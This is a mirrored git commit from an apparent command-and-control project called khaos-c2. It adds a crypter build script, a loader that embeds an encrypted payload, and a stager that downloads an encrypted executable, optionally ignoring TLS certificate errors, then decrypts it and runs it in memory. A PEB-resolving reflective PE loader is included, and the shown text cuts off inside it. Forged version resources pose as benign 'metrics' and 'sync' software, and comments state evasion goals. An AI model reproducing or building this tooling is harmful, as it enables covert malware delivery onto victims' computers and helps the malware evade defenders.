mirror of
https://github.com/28Zaaky/khaos-c2
synced 2026-07-22 12:18:04 +00:00
initial
This commit is contained in:
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
build.py — crypter build pipeline.
|
||||
|
||||
Modes:
|
||||
python build.py full: agent + bake + loader
|
||||
python build.py --bake-only bake + loader (existing agent.exe)
|
||||
python build.py --stub-only loader only (existing payload files)
|
||||
python build.py --stager-url <url> full + stager (downloads from url)
|
||||
python build.py --bake-only --stager-url <url>
|
||||
python build.py --ignore-cert stager skips TLS cert check
|
||||
"""
|
||||
import subprocess
|
||||
import sys
|
||||
import os
|
||||
import shutil
|
||||
import argparse
|
||||
|
||||
ROOT = os.path.dirname(os.path.abspath(__file__))
|
||||
AGENT = os.path.normpath(os.path.join(ROOT, "..", "agent"))
|
||||
STUB = os.path.join(ROOT, "stub")
|
||||
STAGER = os.path.join(ROOT, "stager")
|
||||
TOOLS = os.path.join(ROOT, "tools")
|
||||
OUTPUT = os.path.join(ROOT, "output")
|
||||
|
||||
def _find(name: str, *fallbacks: str) -> str:
|
||||
found = shutil.which(name)
|
||||
if found:
|
||||
return found
|
||||
for fb in fallbacks:
|
||||
if os.path.isfile(fb):
|
||||
return fb
|
||||
raise FileNotFoundError(
|
||||
f"Cannot find '{name}'. Install it or add it to PATH."
|
||||
)
|
||||
|
||||
MAKE = _find("make", r"C:\msys64\usr\bin\make.exe")
|
||||
PYTHON = _find("python", r"C:\msys64\mingw64\bin\python.exe", sys.executable)
|
||||
|
||||
|
||||
def run(cmd: list, cwd: str = None) -> None:
|
||||
print(f"[+] {' '.join(str(x) for x in cmd)}")
|
||||
r = subprocess.run(cmd, cwd=cwd)
|
||||
if r.returncode != 0:
|
||||
sys.exit(r.returncode)
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--bake-only", action="store_true")
|
||||
ap.add_argument("--stub-only", action="store_true")
|
||||
ap.add_argument("--stager-url", default=None,
|
||||
help="Build stager that downloads from this URL")
|
||||
ap.add_argument("--ignore-cert", action="store_true",
|
||||
help="Stager ignores TLS cert errors")
|
||||
args = ap.parse_args()
|
||||
|
||||
agent_bin = os.path.join(AGENT, "agent.exe")
|
||||
|
||||
# 1. build agent
|
||||
if not args.bake_only and not args.stub_only:
|
||||
run([MAKE, "build-only"], cwd=AGENT)
|
||||
|
||||
# 2. bake
|
||||
if not args.stub_only:
|
||||
if not os.path.isfile(agent_bin):
|
||||
sys.exit(f"[!] agent.exe not found: {agent_bin}")
|
||||
bake_cmd = [PYTHON, os.path.join(TOOLS, "bake.py"),
|
||||
agent_bin, "--out-dir", STUB]
|
||||
if args.stager_url:
|
||||
bake_cmd += ["--stager-url", args.stager_url]
|
||||
if args.ignore_cert:
|
||||
bake_cmd += ["--ignore-cert"]
|
||||
run(bake_cmd)
|
||||
|
||||
# 3. check payload files
|
||||
if not os.path.isfile(os.path.join(STUB, "payload_meta.h")) or \
|
||||
not os.path.isfile(os.path.join(STUB, "payload.bin")):
|
||||
sys.exit(f"[!] payload files missing in {STUB}")
|
||||
|
||||
# 4. build loader (embedded payload)
|
||||
run([MAKE], cwd=STUB)
|
||||
|
||||
os.makedirs(OUTPUT, exist_ok=True)
|
||||
loader_src = os.path.join(STUB, "loader.exe")
|
||||
loader_dst = os.path.join(OUTPUT, "loader.exe")
|
||||
shutil.copy2(loader_src, loader_dst)
|
||||
print(f"[ok] loader {os.path.getsize(loader_dst)//1024} KB -> {loader_dst}")
|
||||
|
||||
# 5. build stager (network download) if requested
|
||||
if args.stager_url:
|
||||
if not os.path.isfile(os.path.join(STAGER, "stager_cfg.h")):
|
||||
sys.exit(f"[!] stager_cfg.h missing — bake with --stager-url failed?")
|
||||
run([MAKE], cwd=STAGER)
|
||||
stager_src = os.path.join(STAGER, "stager.exe")
|
||||
stager_dst = os.path.join(OUTPUT, "stager.exe")
|
||||
shutil.copy2(stager_src, stager_dst)
|
||||
payload_srv = os.path.join(STAGER, "payload.bin")
|
||||
print(f"[ok] stager {os.path.getsize(stager_dst)//1024} KB -> {stager_dst}")
|
||||
print(f"[!!] upload {payload_srv} to your server at {args.stager_url}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,30 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity
|
||||
version="2.4.1.0"
|
||||
processorArchitecture="amd64"
|
||||
name="Veristone.VeriMetrics.Collector"
|
||||
type="win32"/>
|
||||
<description>System Metrics Collector</description>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
|
||||
<longPathAware xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">true</longPathAware>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
</assembly>
|
||||
@@ -0,0 +1,33 @@
|
||||
#include <windows.h>
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 2,4,1,0
|
||||
PRODUCTVERSION 2,4,1,0
|
||||
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS VOS_NT_WINDOWS32
|
||||
FILETYPE VFT_APP
|
||||
FILESUBTYPE VFT2_UNKNOWN
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Veristone Technologies Inc."
|
||||
VALUE "FileDescription", "System Metrics Collector"
|
||||
VALUE "FileVersion", "2.4.1.0"
|
||||
VALUE "InternalName", "metricsd"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2023 Veristone Technologies Inc. All rights reserved."
|
||||
VALUE "OriginalFilename", "metricsd.exe"
|
||||
VALUE "ProductName", "VeriMetrics Suite"
|
||||
VALUE "ProductVersion", "2.4"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x0409, 0x04B0
|
||||
END
|
||||
END
|
||||
|
||||
1 RT_MANIFEST "loader.manifest"
|
||||
101 RCDATA "payload.bin"
|
||||
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<assemblyIdentity
|
||||
version="1.2.0.4"
|
||||
processorArchitecture="amd64"
|
||||
name="Procyon.AutoSync.Manager"
|
||||
type="win32"/>
|
||||
<description>Automated content synchronization service</description>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<application xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<windowsSettings>
|
||||
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
|
||||
</windowsSettings>
|
||||
</application>
|
||||
</assembly>
|
||||
@@ -0,0 +1,32 @@
|
||||
#include <windows.h>
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,2,0,4
|
||||
PRODUCTVERSION 1,2,0,4
|
||||
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS VOS_NT_WINDOWS32
|
||||
FILETYPE VFT_APP
|
||||
FILESUBTYPE VFT2_UNKNOWN
|
||||
BEGIN
|
||||
BLOCK "StringFileInfo"
|
||||
BEGIN
|
||||
BLOCK "040904B0"
|
||||
BEGIN
|
||||
VALUE "CompanyName", "Procyon Software Solutions"
|
||||
VALUE "FileDescription", "Automated Content Synchronization"
|
||||
VALUE "FileVersion", "1.2.0.4"
|
||||
VALUE "InternalName", "autosync"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2022 Procyon Software Solutions. All rights reserved."
|
||||
VALUE "OriginalFilename", "AutoSync.exe"
|
||||
VALUE "ProductName", "AutoSync Manager"
|
||||
VALUE "ProductVersion", "1.2"
|
||||
END
|
||||
END
|
||||
BLOCK "VarFileInfo"
|
||||
BEGIN
|
||||
VALUE "Translation", 0x0409, 0x04B0
|
||||
END
|
||||
END
|
||||
|
||||
1 RT_MANIFEST "stager.manifest"
|
||||
@@ -0,0 +1,59 @@
|
||||
ifeq ($(OS),Windows_NT)
|
||||
MSYS2 ?= C:/msys64/mingw64
|
||||
CC ?= $(MSYS2)/bin/gcc.exe
|
||||
STRIP ?= $(MSYS2)/bin/strip.exe
|
||||
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
|
||||
WINDRES ?= $(MSYS2)/bin/windres.exe
|
||||
PYTHON ?= python
|
||||
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
|
||||
export TEMP := $(TMP)
|
||||
else
|
||||
CC ?= x86_64-w64-mingw32-gcc
|
||||
STRIP ?= x86_64-w64-mingw32-strip
|
||||
OBJCOPY ?= x86_64-w64-mingw32-objcopy
|
||||
WINDRES ?= x86_64-w64-mingw32-windres
|
||||
PYTHON ?= python3
|
||||
endif
|
||||
|
||||
TARGET = stager.exe
|
||||
RES_SRC = ../res/stager.rc
|
||||
RES_OBJ = stager_res.o
|
||||
|
||||
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
-fno-ident -fno-asynchronous-unwind-tables \
|
||||
-fno-stack-protector -fno-builtin \
|
||||
-Wno-cast-function-type -nostdlib \
|
||||
-I../stub
|
||||
|
||||
# winhttp loaded at runtime via LoadLibraryA — NOT in LDFLAGS.
|
||||
# This keeps winhttp.dll out of the IAT (stager looks like a non-network binary).
|
||||
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
|
||||
-Wl,-subsystem,windows \
|
||||
-Wl,--no-insert-timestamp \
|
||||
-lkernel32
|
||||
|
||||
SRCS = stager.c ../stub/pe_load.c
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: stager_cfg.h $(RES_OBJ) $(TARGET)
|
||||
|
||||
$(RES_OBJ): $(RES_SRC) ../res/stager.manifest
|
||||
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
|
||||
|
||||
$(TARGET): $(SRCS) ../stub/peb_utils.h ../stub/pe_load.h stager_cfg.h $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] $(TARGET)"
|
||||
|
||||
stager_cfg.h:
|
||||
$(error stager_cfg.h missing -- run: python build.py --stager-url https://HOST/path)
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
del /Q $(TARGET) $(RES_OBJ) stager_cfg.h 2>nul & exit 0
|
||||
else
|
||||
rm -f $(TARGET) $(RES_OBJ) stager_cfg.h
|
||||
endif
|
||||
@@ -0,0 +1,149 @@
|
||||
#include <windows.h>
|
||||
#include <winhttp.h>
|
||||
#include <stdint.h>
|
||||
#include "../stub/pe_load.h"
|
||||
#include "../stub/peb_utils.h"
|
||||
#include "stager_cfg.h"
|
||||
|
||||
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
|
||||
uint32_t s = seed;
|
||||
uint32_t *p = (uint32_t *)buf;
|
||||
uint32_t n = len >> 2;
|
||||
for (uint32_t i = 0; i < n; i++) {
|
||||
p[i] ^= s;
|
||||
s = s * 1664525u + 1013904223u;
|
||||
}
|
||||
uint8_t *t = buf + (n << 2);
|
||||
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
|
||||
t[i] ^= (uint8_t)(s >> (i * 8));
|
||||
}
|
||||
|
||||
typedef HINTERNET (WINAPI *pfnWHO)(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD);
|
||||
typedef HINTERNET (WINAPI *pfnWHC)(HINTERNET,LPCWSTR,INTERNET_PORT,DWORD);
|
||||
typedef HINTERNET (WINAPI *pfnWHOR)(HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD);
|
||||
typedef BOOL (WINAPI *pfnWHSR)(HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR);
|
||||
typedef BOOL (WINAPI *pfnWHRR)(HINTERNET,LPVOID);
|
||||
typedef BOOL (WINAPI *pfnWHRD)(HINTERNET,LPVOID,DWORD,LPDWORD);
|
||||
typedef BOOL (WINAPI *pfnWHQH)(HINTERNET,DWORD,LPCWSTR,LPVOID,LPDWORD,LPDWORD);
|
||||
typedef BOOL (WINAPI *pfnWHSO)(HINTERNET,DWORD,LPVOID,DWORD);
|
||||
typedef BOOL (WINAPI *pfnWHCH)(HINTERNET);
|
||||
|
||||
static uint8_t *_fetch(void) {
|
||||
HMODULE wh = LoadLibraryA("winhttp.dll");
|
||||
if (!wh) return NULL;
|
||||
|
||||
pfnWHO fnOpen = (pfnWHO) GetProcAddress(wh, "WinHttpOpen");
|
||||
pfnWHC fnConn = (pfnWHC) GetProcAddress(wh, "WinHttpConnect");
|
||||
pfnWHOR fnOReq = (pfnWHOR)GetProcAddress(wh, "WinHttpOpenRequest");
|
||||
pfnWHSR fnSend = (pfnWHSR)GetProcAddress(wh, "WinHttpSendRequest");
|
||||
pfnWHRR fnRecv = (pfnWHRR)GetProcAddress(wh, "WinHttpReceiveResponse");
|
||||
pfnWHRD fnRead = (pfnWHRD)GetProcAddress(wh, "WinHttpReadData");
|
||||
pfnWHQH fnQHdr = (pfnWHQH)GetProcAddress(wh, "WinHttpQueryHeaders");
|
||||
#if STAGER_IGNORE_CERT
|
||||
pfnWHSO fnSetOpt = (pfnWHSO)GetProcAddress(wh, "WinHttpSetOption");
|
||||
#endif
|
||||
pfnWHCH fnClose = (pfnWHCH)GetProcAddress(wh, "WinHttpCloseHandle");
|
||||
if (!fnOpen || !fnConn || !fnOReq || !fnSend ||
|
||||
!fnRecv || !fnRead || !fnQHdr || !fnClose) return NULL;
|
||||
|
||||
HINTERNET hSes = fnOpen(
|
||||
STAGER_UA,
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
WINHTTP_NO_PROXY_NAME,
|
||||
WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
if (!hSes) return NULL;
|
||||
|
||||
HINTERNET hCon = fnConn(hSes, STAGER_HOST, (INTERNET_PORT)STAGER_PORT, 0);
|
||||
if (!hCon) { fnClose(hSes); return NULL; }
|
||||
|
||||
DWORD req_flags = STAGER_USE_SSL ? WINHTTP_FLAG_SECURE : 0;
|
||||
HINTERNET hReq = fnOReq(hCon, L"GET", STAGER_PATH,
|
||||
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
|
||||
if (!hReq) { fnClose(hCon); fnClose(hSes); return NULL; }
|
||||
|
||||
#if STAGER_IGNORE_CERT
|
||||
if (fnSetOpt) {
|
||||
DWORD fl = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
|
||||
fnSetOpt(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &fl, sizeof(fl));
|
||||
}
|
||||
#endif
|
||||
|
||||
if (!fnSend(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
|
||||
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
|
||||
}
|
||||
if (!fnRecv(hReq, NULL)) {
|
||||
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
|
||||
}
|
||||
|
||||
/* verify HTTP 200 */
|
||||
DWORD status = 0, sz = sizeof(DWORD);
|
||||
fnQHdr(hReq,
|
||||
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
|
||||
WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, WINHTTP_NO_HEADER_INDEX);
|
||||
if (status != 200) {
|
||||
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
|
||||
}
|
||||
|
||||
uint8_t *buf = (uint8_t *)VirtualAlloc(
|
||||
NULL, PAYLOAD_SIZE + 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!buf) { fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL; }
|
||||
|
||||
DWORD total = 0, got = 0;
|
||||
while (total < PAYLOAD_SIZE) {
|
||||
got = 0;
|
||||
if (!fnRead(hReq, buf + total, PAYLOAD_SIZE - total, &got)) break;
|
||||
if (!got) break;
|
||||
total += got;
|
||||
}
|
||||
|
||||
fnClose(hReq);
|
||||
fnClose(hCon);
|
||||
fnClose(hSes);
|
||||
|
||||
return (total >= PAYLOAD_SIZE) ? buf : NULL;
|
||||
}
|
||||
|
||||
static DWORD _sys_probe(void) {
|
||||
SYSTEM_INFO si;
|
||||
GetNativeSystemInfo(&si);
|
||||
MEMORYSTATUSEX ms;
|
||||
ms.dwLength = sizeof(ms);
|
||||
GlobalMemoryStatusEx(&ms);
|
||||
char name[MAX_COMPUTERNAME_LENGTH + 1];
|
||||
DWORD nlen = sizeof(name);
|
||||
GetComputerNameA(name, &nlen);
|
||||
DWORD fp = si.dwNumberOfProcessors ^ (DWORD)(ms.ullTotalPhys >> 20);
|
||||
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
|
||||
return fp;
|
||||
}
|
||||
|
||||
static HANDLE _g_inst = NULL;
|
||||
static BOOL _acquire_instance(void) {
|
||||
_g_inst = CreateMutexA(NULL, TRUE,
|
||||
"Global\\{7F3A1C8E-D24B-49AC-B631-E8D5C2A4B9F3}");
|
||||
if (!_g_inst) return FALSE;
|
||||
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
||||
CloseHandle(_g_inst);
|
||||
_g_inst = NULL;
|
||||
return FALSE;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void __stdcall WinMainCRTStartup(void) {
|
||||
if (!_acquire_instance()) { ExitProcess(0); return; }
|
||||
|
||||
volatile DWORD fp = _sys_probe();
|
||||
(void)fp;
|
||||
|
||||
uint8_t *payload = _fetch();
|
||||
if (!payload) { ExitProcess(1); return; }
|
||||
|
||||
_decrypt(payload, PAYLOAD_SIZE, PAYLOAD_SEED);
|
||||
pe_load(payload, PAYLOAD_SIZE);
|
||||
ExitProcess(0);
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
ifeq ($(OS),Windows_NT)
|
||||
MSYS2 ?= C:/msys64/mingw64
|
||||
CC ?= $(MSYS2)/bin/gcc.exe
|
||||
STRIP ?= $(MSYS2)/bin/strip.exe
|
||||
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
|
||||
WINDRES ?= $(MSYS2)/bin/windres.exe
|
||||
PYTHON ?= python
|
||||
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
|
||||
export TEMP := $(TMP)
|
||||
else
|
||||
CC ?= x86_64-w64-mingw32-gcc
|
||||
STRIP ?= x86_64-w64-mingw32-strip
|
||||
OBJCOPY ?= x86_64-w64-mingw32-objcopy
|
||||
WINDRES ?= x86_64-w64-mingw32-windres
|
||||
PYTHON ?= python3
|
||||
endif
|
||||
|
||||
TARGET = loader.exe
|
||||
RES_SRC = ../res/loader.rc
|
||||
RES_OBJ = loader_res.o
|
||||
|
||||
# -nostdlib : no CRT — import table = KERNEL32 only
|
||||
# -fno-builtin : prevents GCC from emitting implicit memcpy/memset calls
|
||||
# -fno-ident : removes GCC version string from .comment
|
||||
# -fno-asynchronous-unwind-tables : removes .eh_frame
|
||||
# -fno-stack-protector: removes __stack_chk_fail import
|
||||
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
|
||||
-fno-ident -fno-asynchronous-unwind-tables \
|
||||
-fno-stack-protector -fno-builtin \
|
||||
-Wno-cast-function-type -nostdlib
|
||||
|
||||
# --entry : custom entry, bypass CRT WinMainCRTStartup wrapper
|
||||
# -subsystem : GUI — no console window
|
||||
# --no-insert-timestamp : ld skips timestamp (pe_scrub sets a plausible past date)
|
||||
# -lkernel32 : VirtualAlloc, ExitProcess, Find/Load/Lock/SizeofResource
|
||||
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
|
||||
-Wl,-subsystem,windows \
|
||||
-Wl,--no-insert-timestamp \
|
||||
-lkernel32
|
||||
|
||||
SRCS = stub.c pe_load.c
|
||||
|
||||
.PHONY: all clean
|
||||
|
||||
all: payload_meta.h payload.bin $(RES_OBJ) $(TARGET)
|
||||
|
||||
# payload.bin is embedded into .rsrc via windres — must exist before $(RES_OBJ)
|
||||
$(RES_OBJ): $(RES_SRC) ../res/loader.manifest payload.bin
|
||||
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
|
||||
|
||||
$(TARGET): $(SRCS) peb_utils.h pe_load.h payload_meta.h $(RES_OBJ)
|
||||
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
|
||||
$(STRIP) --strip-all $(TARGET)
|
||||
$(OBJCOPY) --strip-debug $(TARGET)
|
||||
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
|
||||
@echo "[ok] $(TARGET)"
|
||||
|
||||
payload_meta.h:
|
||||
$(error payload files missing -- run: python build.py --bake-only)
|
||||
|
||||
payload.bin: payload_meta.h
|
||||
|
||||
clean:
|
||||
ifeq ($(OS),Windows_NT)
|
||||
del /Q $(TARGET) $(RES_OBJ) payload_meta.h payload.bin 2>nul & exit 0
|
||||
else
|
||||
rm -f $(TARGET) $(RES_OBJ) payload_meta.h payload.bin
|
||||
endif
|
||||
+44072
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,5 @@
|
||||
#pragma once
|
||||
#include <stdint.h>
|
||||
|
||||
#define PAYLOAD_SEED 0x559DA186u
|
||||
#define PAYLOAD_SIZE 705024u
|
||||
@@ -0,0 +1,149 @@
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "peb_utils.h"
|
||||
#include "pe_load.h"
|
||||
|
||||
typedef LPVOID(WINAPI *pfnVA)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL(WINAPI *pfnVP)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef HMODULE(WINAPI *pfnLL)(LPCSTR);
|
||||
typedef FARPROC(WINAPI *pfnGP)(HMODULE, LPCSTR);
|
||||
|
||||
static void _cpy(void *dst, const void *src, size_t n)
|
||||
{
|
||||
unsigned char *d = (unsigned char *)dst;
|
||||
const unsigned char *s = (const unsigned char *)src;
|
||||
while (n--)
|
||||
*d++ = *s++;
|
||||
}
|
||||
|
||||
static DWORD _sec_prot(DWORD chr)
|
||||
{
|
||||
if (chr & IMAGE_SCN_MEM_EXECUTE)
|
||||
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
|
||||
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
|
||||
}
|
||||
|
||||
void pe_load(const uint8_t *data, size_t size)
|
||||
{
|
||||
(void)size;
|
||||
|
||||
/* resolve APIs from kernel32 via PEB — nothing in stub import table */
|
||||
HMODULE k32 = _peb_mod(L"kernel32.dll");
|
||||
pfnVA fnVA = (pfnVA)_peb_proc(k32, "VirtualAlloc");
|
||||
pfnVP fnVP = (pfnVP)_peb_proc(k32, "VirtualProtect");
|
||||
pfnLL fnLL = (pfnLL)_peb_proc(k32, "LoadLibraryA");
|
||||
pfnGP fnGP = (pfnGP)_peb_proc(k32, "GetProcAddress");
|
||||
if (!fnVA || !fnVP || !fnLL || !fnGP)
|
||||
return;
|
||||
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)data;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(data + dos->e_lfanew);
|
||||
DWORD img_sz = nt->OptionalHeader.SizeOfImage;
|
||||
DWORD hdr_sz = nt->OptionalHeader.SizeOfHeaders;
|
||||
ULONGLONG pref = nt->OptionalHeader.ImageBase;
|
||||
|
||||
/* allocate: preferred base first, then anywhere */
|
||||
uint8_t *base = (uint8_t *)fnVA((LPVOID)pref, img_sz,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!base)
|
||||
base = (uint8_t *)fnVA(NULL, img_sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!base)
|
||||
return;
|
||||
|
||||
/* copy headers */
|
||||
_cpy(base, data, hdr_sz);
|
||||
|
||||
/* copy sections */
|
||||
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
||||
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
if (sec[i].SizeOfRawData)
|
||||
_cpy(base + sec[i].VirtualAddress,
|
||||
data + sec[i].PointerToRawData,
|
||||
sec[i].SizeOfRawData);
|
||||
}
|
||||
|
||||
/* base relocations */
|
||||
ULONGLONG delta = (ULONGLONG)base - pref;
|
||||
IMAGE_DATA_DIRECTORY *rdir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
if (delta && rdir->VirtualAddress)
|
||||
{
|
||||
IMAGE_BASE_RELOCATION *blk =
|
||||
(IMAGE_BASE_RELOCATION *)(base + rdir->VirtualAddress);
|
||||
while (blk->VirtualAddress && blk->SizeOfBlock >= sizeof(*blk))
|
||||
{
|
||||
int cnt = (int)((blk->SizeOfBlock - sizeof(*blk)) / sizeof(WORD));
|
||||
WORD *ent = (WORD *)((uint8_t *)blk + sizeof(*blk));
|
||||
for (int i = 0; i < cnt; i++)
|
||||
{
|
||||
if ((ent[i] >> 12) == IMAGE_REL_BASED_DIR64)
|
||||
{
|
||||
ULONGLONG *ptr =
|
||||
(ULONGLONG *)(base + blk->VirtualAddress + (ent[i] & 0xFFF));
|
||||
*ptr += delta;
|
||||
}
|
||||
}
|
||||
blk = (IMAGE_BASE_RELOCATION *)((uint8_t *)blk + blk->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
/* import table */
|
||||
IMAGE_DATA_DIRECTORY *idir =
|
||||
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (idir->VirtualAddress)
|
||||
{
|
||||
IMAGE_IMPORT_DESCRIPTOR *imp =
|
||||
(IMAGE_IMPORT_DESCRIPTOR *)(base + idir->VirtualAddress);
|
||||
for (; imp->Name; imp++)
|
||||
{
|
||||
HMODULE dll = fnLL((const char *)(base + imp->Name));
|
||||
if (!dll)
|
||||
continue;
|
||||
IMAGE_THUNK_DATA *thk = (IMAGE_THUNK_DATA *)(base + imp->FirstThunk);
|
||||
IMAGE_THUNK_DATA *orig = imp->OriginalFirstThunk
|
||||
? (IMAGE_THUNK_DATA *)(base + imp->OriginalFirstThunk)
|
||||
: thk;
|
||||
for (; orig->u1.AddressOfData; thk++, orig++)
|
||||
{
|
||||
if (IMAGE_SNAP_BY_ORDINAL64(orig->u1.Ordinal))
|
||||
thk->u1.Function =
|
||||
(ULONGLONG)fnGP(dll, (LPCSTR)(orig->u1.Ordinal & 0xFFFF));
|
||||
else
|
||||
{
|
||||
IMAGE_IMPORT_BY_NAME *ibn =
|
||||
(IMAGE_IMPORT_BY_NAME *)(base + orig->u1.AddressOfData);
|
||||
thk->u1.Function = (ULONGLONG)fnGP(dll, ibn->Name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* set section permissions */
|
